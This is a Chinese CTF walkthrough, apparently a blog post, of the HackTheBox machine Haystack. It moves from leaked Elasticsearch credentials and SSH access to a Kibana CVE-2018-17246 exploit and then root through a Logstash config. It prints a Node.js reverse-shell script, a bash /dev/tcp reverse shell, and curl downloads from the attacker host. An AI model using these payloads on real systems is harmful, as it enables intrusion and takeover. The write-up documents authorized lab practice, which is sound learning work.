hackthebox - Haystack (考点:图片信息 & elasticsearch 9200查询 & 端口转发 & Kibana安全 & linux修改脚本提权 )

1 扫描

22想到可能有ssh登录,80进web信息搜集,这里还有个9200属于高冷端口,一定要多注意,很可能就是突破点,否则开这个端口干嘛。百度搜了搜是ElasticSearch,可以查询一些信息。

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (appli

2 web信息搜集 & 9200利用

进http,开局一张图,dirbuster扫不出啥。显然这张图很可能就有秘密。下载保存,然后strings看看里面藏了什么东西木有。

果然最后有一句base码,解码,
在这里插入图片描述
然后查翻译,这是西班牙语la aguja en el pajar es "clave",意思是clave是关键
在这里插入图片描述
想到9200端口可以进行elasticsearch查询,那是否可以结合起来,查询的关键词就是这个clave??

查询语句可以参考这个文章
执行http://10.10.10.115:9200/_search?pretty&q=clave

继续翻译和base解码查出来的内容。

quote	"Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
1	
_index	"quotes"
_type	"quote"
_id	"111"
_score	5.3459888
_source	
quote	"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="

得到密码信息user: security 以及 pass: spanish.is.key
回想到开头ssh端口开了,进行ssh登录。成功

3 提权至kibana

老套路linpeas.sh自动扫
但是没有wget,也没有nc,倒有curl,用curl从本机传脚本到靶机,输出成随便命名文件。

curl http://10.10.14.43/linpeas.sh -o /tmp/666.sh

先可以看到进程里root在运行logstash
然后又直接扫到了Kibana yaml以及提示了5601是内部127.0.0.1运行的端口。百度下科普知识,logstash和kibana以及elasticsearch似乎是配套一起用来处理数据分析的。网络上科普也有很多。比如这个这个
在这里插入图片描述
在这里插入图片描述
logstash不知道如何下手,没有看到更深层可以利用的。
而kibana这个既然是内部端口,不对外,当然可以先端口转发转出来到本机看看。所以先下手kibana。
怀疑如果能拿到kibana的shell,可能就有对logstash利用的机会,既然logstash是root运行的。我改一改logstash文件什么的加入弹shell代码,root会自动执行。应该就可以提权了。

本机输入,执行端口转发

ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 

我再在自己的浏览器,输入http://127.0.0.1:5601
但是第一次虽提示正在载入kibana,但始终无法正常进入网页,等很久loading没反应。然后说载入有问题。什么鬼。。
在htb官网上重启这个靶机看看。等几分钟。
再重复操作,这次却进入一个新页面,然后一会后换了另一种提示方式说载入有问题??什么鬼,不过我又加载一次,成功进入页面了。。。

可以看到版本信息了。
在这里插入图片描述
后来也搜到另一种看版本信息的方法,直接在linux靶机操作
在这里插入图片描述
但是这个目录进不去,看看是否安装有其他目录。再试试。/usr/share目录下的可以搞定了。
在这里插入图片描述
当然最终还是要成功转发过来,并正常载入进kibana才行。否则可能无法执行接下来的漏洞。
网上搜版本漏洞,searchsploit没有,去github搜。这个 https://github.com/mpgn/CVE-2018-17246

按提示,自己先做个shell.js文件,ip端口改自己的

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "10.10.14.43", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

curl老方法传到靶机,随便命个名。curl http://10.10.14.35/shell.js -o /tmp/666.js

在kibana成功转发到本机,且能正常载入进去后。
本机网页输入、执行

127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION\&apis=../../../../../../.../../../../tmp/666.js

本机监听,收到,然后tty python -c 'import pty; pty.spawn("/bin/bash")'

4 提权root

继续拿linpeas扫,看看能否以kibana角度有新发现。

这三张扫描截图可以确定
1、root在执行logstash。
2、我可以读写/etc/logstash/conf.d这个配置文件,看看是否有关键信息可利用。
3、成为kibana,/opt/kibana目录下我也有读写权了。
记住这些出现的目录,很可能里面都有关键文件,都是可以突破利用的。不然为啥给你读写权限。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

首先我们进去看看配置文件
在这里插入图片描述
input是输入,path说明了是/opt/kibana/logstash_*。和我们之前扫描的,这个目录我们有读写权限,结合呼应起来了。可以利用。
_*说明最后调用的是这个下划线+随意命名的文件,比如/opt/kibana/logstash_a/opt/kibana/logstash_b最后一位随便换。

filter是过滤的意思。match是匹配,也就是从logstash_*调用的文件内容,要符合匹配。匹配规则是啥呢,就是后面这串西班牙语,当然\s*是空格符,*是贪婪模式。总体意思就是空格,我猜应该是这样。%括号里就是执行的内容了,comando就是西班牙语 的命令指挥意思,英语里的command。

按照这个格式,可以加弹shell代码作为执行命令试试,放到/opt/kibana/logstash_a里。

按照这个配置,执行后,会按path调用/opt/kibana/logstash_a这个目录文件,然后检查内容匹配要素,是否符合规则,ok的话就会执行了,可能立马执行,也可能是个cronjob过会执行。

然后打开本机监听

echo 'Ejecutar comando : bash -i >& /dev/tcp/10.10.14.43/9002 0>&1' > /opt/kibana/logstash_a

在这里插入图片描述
过会后成功收到拿下root
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值